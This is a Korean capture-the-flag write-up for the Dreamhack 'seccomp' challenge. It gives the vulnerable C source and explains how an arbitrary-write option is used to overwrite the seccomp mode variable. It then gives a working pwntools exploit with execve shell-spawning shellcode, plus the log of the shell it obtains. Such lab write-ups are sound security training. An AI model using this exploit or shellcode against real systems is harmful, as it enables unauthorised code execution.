[dreamhack] seccomp writeup

1. 문제

thumbnail
seccomp

이 문제는 작동하고 있는 서비스(seccomp)의 바이너리와 소스코드가 주어집니다.
취약점을 익스플로잇해 셸을 획득한 후, 'flag' 파일을 읽으세요.
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/59

2. 풀이

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <stddef.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <linux/unistd.h>
#include <linux/audit.h>
#include <sys/mman.h>

int mode = SECCOMP_MODE_STRICT;

int syscall_filter() {
    #define syscall_nr (offsetof(struct seccomp_data, nr))
    #define arch_nr (offsetof(struct seccomp_data, arch))
    
    /* architecture x86_64 */
    #define REG_SYSCALL REG_RAX
    #define ARCH_NR AUDIT_ARCH_X86_64
    struct sock_filter filter[] = {
        /* Validate architecture. */
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr),
        BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0),
        BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
        /* Get system call number. */
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr),
        };
    
    struct sock_fprog prog = {
    .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
    .filter = filter,
        };
    if ( prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1 ) {
        perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
        return -1;
        }
    
    if ( prctl(PR_SET_SECCOMP, mode, &prog) == -1 ) {
        perror("Seccomp filter error\n");
        return -1;
        }
    return 0;
}


int main(int argc, char* argv[])
{
    void (*sc)();
    unsigned char *shellcode;
    int cnt = 0;
    int idx;
    long addr;
    long value;

    initialize();

    shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    while(1) {
        printf("1. Read shellcode\n");
        printf("2. Execute shellcode\n");
        printf("3. Write address\n");
        printf("> ");

        scanf("%d", &idx);

        switch(idx) {
            case 1:
                if(cnt != 0) {
                    exit(0);
                }

                syscall_filter();
                printf("shellcode: ");
                read(0, shellcode, 1024);
                cnt++;
                break;
            case 2:
                sc = (void *)shellcode;
                sc();
                break;
            case 3:
                printf("addr: ");
                scanf("%ld", &addr);
                printf("value: ");
                scanf("%ld", addr);
                break;
            default:
                break;
        }
    }
    return 0;
}
  • case 1: cnt를 보고 딱 한번만 실행가능, shellcode 변수에 1024bytes만큼 입력받음
  • case 2: shellcode에 있는 내용을 함수로서 실행
  • case 3: addr을 입력받아서 해당 위치에 값을 입력 받음

원래라면 그냥 shellcode변수에 쉘코드를 입력해서 바로 실행하면 됐겠지만 syscall_filter함수가 존재한다.

가장 위에 mode 변수에 SECCOMP_MODE_STRICT 모드가 설정되어 read, write, _exit, sigreturn 시스템 호출을 제외한 모든 시스템 호출이 금지된다. 따라서 만약 쉘코드를 넣으면 전혀 실행되지 않을 것이다.

다만, 여기서는 case 3이 존재해서 원하는 주소에 원하는 값을 쓸 수 있다. 거기다가 checksec으로 확인해보면 아래와 같다.

ubuntu@instance-20250406-1126:~/dreamhack/level2/seccomp$ checksec seccomp
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/seccomp/seccomp'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

No PIE이므로 mode 주소가 고정되어있고, 이 주소에 SECCOMP_MODE_STRICT가 아닌 0을 설정하면 syscall_filter가 아무 역할을 하지않을 것이다.

바로 exploit을 작성하고 결과를 확인했다.

from pwn import *

p = process("./seccomp")
p = remote("host3.dreamhack.games", 11878)
elf = ELF("./seccomp")

p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"addr: ", str(elf.symbols["mode"]))
p.sendlineafter(b"value: ", b"0")


p.sendlineafter(b"> ", b"1")

shellcode = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
p.sendafter(b"shellcode: ", shellcode)


p.sendlineafter(b"> ", b"2")

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/seccomp$ python3 e_seccomp.py 
[+] Starting local process './seccomp': pid 2610764
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/seccomp/seccomp'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
/home/ubuntu/dreamhack/level2/seccomp/e_seccomp.py:8: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(b"addr: ", str(elf.symbols["mode"]))
[*] Switching to interactive mode
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)

해결~